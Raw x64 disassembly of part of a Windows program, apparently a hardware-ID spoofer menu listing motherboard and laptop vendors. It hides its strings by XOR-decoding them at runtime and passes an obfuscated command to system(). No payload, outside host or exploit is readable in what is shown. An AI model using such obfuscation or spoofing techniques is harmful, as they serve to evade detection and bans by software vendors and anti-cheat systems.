movaps xmm2, xmm15
lea rcx, [rbp + 0x5f0]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 7
lea rdx, [0x1400c22f4]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140049121
mov dword [0x1415573e0], 7
call fcn.1400123b0
call fcn.140016a30
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x7b31d9b971a500d0
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3d344b18985
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x12f0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x12f8], rcx
lea rcx, [rbp + 0x1310]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1300], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x12f0]
mov qword [rbp + 0x1308], rax
xorps xmm0, xmmword [rbp + 0x1300]
movdqa xmmword [rbp + 0x12f0], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5c9c]
lea rcx, [rbp + 0x5f8]
movss xmm1, dword [0x1400c5cc8]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x12f0]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
movss xmm2, dword [0x1400c5cac]
lea rcx, [rbp + 0x600]
movss xmm1, dword [0x1400c5cc8]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
movaps xmm2, xmm14
lea rcx, [rbp + 0x608]
movaps xmm1, xmm14
call fcn.1400013d0
mov rdx, rax
movabs rdi, 0x2911b4dc05d67983
xor eax, eax
movabs rbx, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7a31c6b564a61cd1
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3cc48a48a99
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1320], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1328], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1330], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
lea rcx, [rbp + 0x1320]
movdqa xmm0, xmmword [rbp + 0x1320]
mov qword [rbp + 0x1338], rax
xorps xmm0, xmmword [rbp + 0x1330]
movdqa xmmword [rbp + 0x1320], xmm0
call fcn.140034b90
test al, al
je 0x140049570
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor eax, eax
lea rcx, [rbp + 0x1340]
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4872c7f325b51ff0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1340], rax
movabs rax, 0x4fe8f3a15abf978e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1348], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1350], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1358], rax
movdqa xmm0, xmmword [rbp + 0x1350]
xorps xmm0, xmmword [rbp + 0x1340]
movdqa xmmword [rbp + 0x1340], xmm0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911b488579335c2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1360], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1368], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1370], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1378], rax
xor eax, eax
movdqa xmm0, xmmword [rbp + 0x1370]
xorps xmm0, xmmword [rbp + 0x1360]
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7a31d9b971a500d0
movdqa xmmword [rbp + 0x1360], xmm0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4980], rax
movabs rax, 0x26869ae70dbe9883
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4988], rax
movabs rax, 0x7798b994ed70df3e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4990], rax
movabs rax, 0x5cc5877780addd8f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4998], rax
movabs rax, 0xb413ba48c2992ec3
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49a0], rax
movabs rax, 0xe9945afd92355180
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x49a8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3ae0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3ae8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3af0], rax
lea r8, [rbp + 0x1360]
movabs rax, 0x2fa0d557e5debcea
lea rdx, [rbp + 0x4980]
mov qword [rbp + 0x10], rax
mov r9d, 0x40
mov rax, qword [rbp + 0x10]
xor ecx, ecx
mov qword [rbp + 0x3af8], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3b00], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm2, xmmword [rbp + 0x49a0]
vmovdqu ymm0, ymmword [rbp + 0x3ae0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4980]
mov qword [rbp + 0x3b08], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x3b00]
vmovdqa ymmword [rbp + 0x4980], ymm1
vmovdqa xmmword [rbp + 0x49a0], xmm2
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x4c7cd5b277b30ad6
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd0f9da
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1380], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1388], rcx
lea rcx, [rbp + 0x13a0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1390], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1398], rax
movdqa xmm0, xmmword [rbp + 0x1390]
xorps xmm0, xmmword [rbp + 0x1380]
movdqa xmmword [rbp + 0x1380], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cd0]
lea rcx, [rbp + 0x610]
movss xmm1, dword [0x1400c5cc8]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x1380]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x13b0]
mov edx, 0x64
mov rdi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cd0]
lea rcx, [rbp + 0x618]
movss xmm1, dword [0x1400c5d04]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [0x141557550]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
movss xmm2, dword [0x1400c5ce8]
lea rcx, [rbp + 0x620]
movss xmm1, dword [0x1400c5cc8]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
movss xmm2, dword [0x1400c5c74]
movss xmm1, dword [0x1400c5cd4]
lea rcx, [rbp + 0x628]
call fcn.1400013d0
mov rdx, rax
mov qword [rsp + 0x38], rsi
xor eax, eax
mov qword [rsp + 0x30], rsi
mov byte [rbp], al
lea r8, [0x141557550]
mov byte [rbp], al
movabs rbx, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
mov r9d, 0x40
movabs rax, 0x5b74c78925a11ccd
mov dword [rsp + 0x28], esi
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a148bd988e
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x13c0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x13c8], rcx
lea rcx, [0x1400c2338]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13d0], rax
mov qword [rsp + 0x20], rdx
lea rdx, [rbp + 0x13c0]
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13d8], rax
movdqa xmm0, xmmword [rbp + 0x13d0]
xorps xmm0, xmmword [rbp + 0x13c0]
movdqa xmmword [rbp + 0x13c0], xmm0
call fcn.14003a150
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7031c0bf60ba1cd0
mov qword [rbp + 0x10], rax
movabs rax, 0x279c9cec0da28c8f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1f00], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x1bacc1dbe677c528
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1f08], rcx
movabs rcx, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f10], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f18], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f20], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f28], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f30], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x13e0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f38], rax
vmovdqu ymm0, ymmword [rbp + 0x1f20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1f00]
vmovdqa ymmword [rbp + 0x1f00], ymm1
vzeroupper
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d00]
lea rcx, [rbp + 0x630]
movss xmm1, dword [0x1400c5cc8]
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c60]
lea rcx, [rbp + 0x1f00]
mov rdx, qword [0x1415573c8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
movss xmm2, dword [0x1400c5d14]
lea rcx, [rbp + 0x638]
movss xmm1, dword [0x1400c5cc8]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
lea rdx, [0x14155749f]
lea rcx, str.ASUS
call fcn.140035b50
lea rdx, [0x141557547]
lea rcx, str.Gigabyte
call fcn.140035b50
lea rdx, [0x14155749e]
lea rcx, [0x1400c2354]
call fcn.140035b50
lea rdx, [0x14155749c]
lea rcx, str.ASRock
call fcn.140035b50
lea rdx, [0x14155749b]
lea rcx, str.Biostar
call fcn.140035b50
lea rdx, [0x141557545]
lea rcx, str.Intel
call fcn.140035b50
call fcn.140016a30
movss xmm0, dword [0x1400c5d14]
lea rcx, [rbp + 0x640]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
lea rdx, [0x141557499]
lea rcx, str.Acer
call fcn.140035b50
lea rdx, [0x141557544]
lea rcx, str.Lenovo
call fcn.140035b50
lea rdx, [0x14155749a]
lea rcx, [0x1400c2380]
call fcn.140035b50
lea rdx, [0x141557498]
lea rcx, str.DELL
call fcn.140035b50
lea rdx, [0x141557546]
lea rcx, str.Aorus
call fcn.140035b50
call fcn.140016a30
cmp dword [0x1415573e0], 9
jne 0x14004aec0
call fcn.1400128f0
mov edx, 0x10
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x13f0]
mov r8d, edx
mov rsi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5da4]
lea rcx, [rbp + 0x648]
movss xmm1, dword [0x1400c5cb8]
mov edi, eax
call fcn.1400013d0
movaps xmm2, xmm14
lea rcx, [rbp + 0x650]
movaps xmm1, xmm14
mov rbx, rax
call fcn.1400013d0
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140023a00
movaps xmm2, xmm7
lea rcx, [rbp + 0x658]
movaps xmm1, xmm7
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
mov rcx, r14
call fcn.140012310
movaps xmm2, xmm15
lea rcx, [rbp + 0x660]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 3
lea rdx, [0x1400c22e4]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140049b65
mov dword [0x1415573e0], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x668]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 4
lea rdx, [0x1400c22e8]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140049ba0
mov dword [0x1415573e0], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x670]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 5
lea rdx, [0x1400c22ec]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140049bdb
mov dword [0x1415573e0], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x678]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 6
lea rdx, [0x1400c22f0]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140049c16
mov dword [0x1415573e0], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x680]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 7
lea rdx, [0x1400c22f4]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140049c51
mov dword [0x1415573e0], 7
call fcn.1400123b0
call fcn.140016a30
movss xmm2, dword [0x1400c5c74]
lea rcx, [rbp + 0x688]
movss xmm1, dword [0x1400c5cd0]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
movaps xmm2, xmm14
lea rcx, [rbp + 0x690]
movaps xmm1, xmm14
call fcn.1400013d0
mov r8, rax
lea rdx, [rbp + 0x1400]
xor eax, eax
movabs r14, 0x4fe8f3a12dd0f9e0
mov byte [rbp], al
movabs rbx, 0x2911b4dc05d67983
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911d8bd68a416cd
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1400], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1408], rcx
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1410], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1400]
cmp dword [0x1415573e0], 4
mov qword [rbp + 0x1418], rax
xorps xmm0, xmmword [rbp + 0x1410]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x1400], xmm0
call fcn.140039a30
test al, al
je 0x140049d39
mov dword [0x1415573e0], 4
movss xmm7, dword [0x1400c5dcc]
movaps xmm0, xmm14
movaps xmm1, xmm7
call fcn.140016530
movaps xmm1, xmm7
movaps xmm0, xmm14
call fcn.140016530
movaps xmm2, xmm14
lea rcx, [rbp + 0x698]
movaps xmm1, xmm14
call fcn.1400013d0
mov r8, rax
lea rdx, [rbp + 0x1420]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911b4dc4c903cd6
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1420], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1428], rcx
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1430], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1420]
cmp dword [0x1415573e0], 8
mov qword [rbp + 0x1438], rax
xorps xmm0, xmmword [rbp + 0x1430]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x1420], xmm0
call fcn.140039a30
test al, al
je 0x140049e11
mov r9d, 0x30
lea r8, str.Comming_Soon_
lea rdx, str.UEFI_Cooming_Soon_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movaps xmm1, xmm7
movaps xmm0, xmm14
call fcn.140016530
movaps xmm1, xmm7
movaps xmm0, xmm14
call fcn.140016530
movaps xmm2, xmm14
lea rcx, [rbp + 0x6a0]
movaps xmm1, xmm14
call fcn.1400013d0
mov r8, rax
lea rdx, [rbp + 0x1440]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911b4dc059f3fc6
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1440], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1448], rcx
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1450], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1440]
cmp dword [0x1415573e0], 9
mov qword [rbp + 0x1458], rax
xorps xmm0, xmmword [rbp + 0x1450]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x1440], xmm0
call fcn.140039a30
test al, al
je 0x140049ecf
mov dword [0x1415573e0], 9
call fcn.1400128f0
lea rdx, [0x141557678]
mov rsi, rax
lea rcx, [rbp + 0x1460]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x6a8]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x1400c5d00]
addss xmm1, dword [0x1400c5d80]
call fcn.1400013d0
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x6b0]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x1400c5ca0]
addss xmm1, dword [0x1400c5cc8]
call fcn.1400013d0
movss xmm0, dword [0x1400c5c1c]
mov r9d, edi
movss xmm7, dword [0x1400c5c00]
mov r8, rbx
movss dword [rsp + 0x30], xmm7
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140023920
movss xmm2, dword [0x1400c5cac]
lea rcx, [rbp + 0x6b8]
movss xmm1, dword [0x1400c5cd8]
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x92bc7a971b70dd0
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1470], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1478], rcx
lea rcx, [rbp + 0x1490]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1480], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1470]
mov qword [rbp + 0x1488], rax
xorps xmm0, xmmword [rbp + 0x1480]
movdqa xmmword [rbp + 0x1470], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cac]
lea rcx, [rbp + 0x6c0]
movss xmm1, dword [0x1400c5ce8]
mov ebx, eax
call fcn.1400013d0
xor esi, esi
lea rcx, [rbp + 0x1470]
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov rdx, qword [0x1415573c8]
mov r9, rax
movaps xmm2, xmm6
mov rcx, rdi
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5d72d1a860b217d6
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd09d85
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14a0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14a8], rcx
lea rcx, [rbp + 0x14c0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x14b0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x14a0]
mov qword [rbp + 0x14b8], rax
xorps xmm0, xmmword [rbp + 0x14b0]
movdqa xmmword [rbp + 0x14a0], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cac]
lea rcx, [rbp + 0x6c8]
movss xmm1, dword [0x1400c5d0c]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x14a0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
mov r14, qword [rbp + 0x168]
mov rcx, r14
call fcn.140012310
movss xmm2, dword [0x1400c5cb0]
lea rcx, [rbp + 0x6d0]
movss xmm1, dword [0x1400c5cd8]
call fcn.1400013d0
lea rdx, [0x141557678]
mov rdi, rax
lea rcx, [rbp + 0x14d0]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
lea rdx, [0x141557678]
mov ebx, eax
lea rcx, [rbp + 0x14e0]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm3, dword [0x1400c5c8c]
lea rcx, [0x1400c2324]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140035870
call fcn.1400123b0
call fcn.1400128f0
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
mov edx, 0xff
movabs rax, 0x4d61e1fc71a518cf
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov r9d, edx
mov rcx, qword [rbp + 0x10]
movabs rax, 0x4fe8f38117b58d81
mov qword [rbp + 0x14f0], rcx
mov r8d, edx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14f8], rcx
lea rcx, [rbp + 0x1510]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1500], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x14f0]
mov qword [rbp + 0x1508], rax
xorps xmm0, xmmword [rbp + 0x1500]
movdqa xmmword [rbp + 0x14f0], xmm0
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cbc]
lea rcx, [rbp + 0x6d8]
movss xmm1, dword [0x1400c5ce8]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x14f0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1b2186f33cf949b2
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd0f9d4
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1520], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1528], rcx
lea rcx, [rbp + 0x1540]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1530], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1520]
mov qword [rbp + 0x1538], rax
xorps xmm0, xmmword [rbp + 0x1530]
movdqa xmmword [rbp + 0x1520], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cbc]
lea rcx, [rbp + 0x6e0]
movss xmm1, dword [0x1400c5d24]
mov ebx, eax
call fcn.1400013d0
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x1520]
mov qword [rsp + 0x30], rsi
mov r9, rax
mov qword [rsp + 0x28], rcx
movaps xmm2, xmm6
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
mov rcx, r14
call fcn.140012310
movss xmm2, dword [0x1400c5cc0]
lea rcx, [rbp + 0x6e8]
movss xmm1, dword [0x1400c5cd8]
call fcn.1400013d0
lea rdx, [0x141557678]
mov rdi, rax
lea rcx, [rbp + 0x1550]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
lea rdx, [0x141557678]
mov ebx, eax
lea rcx, [rbp + 0x1560]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm3, dword [0x1400c5c8c]
lea rcx, [0x1400c2324]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140035870
call fcn.1400123b0
call fcn.1400128f0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x5c4294af60bb18c4
mov qword [rbp + 0x10], rax
movabs rax, 0x758c96d55fbf8990
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1f40], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x1bc8b3ba8915b76d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1f48], rcx
movabs rcx, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f50], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f58], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f60], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
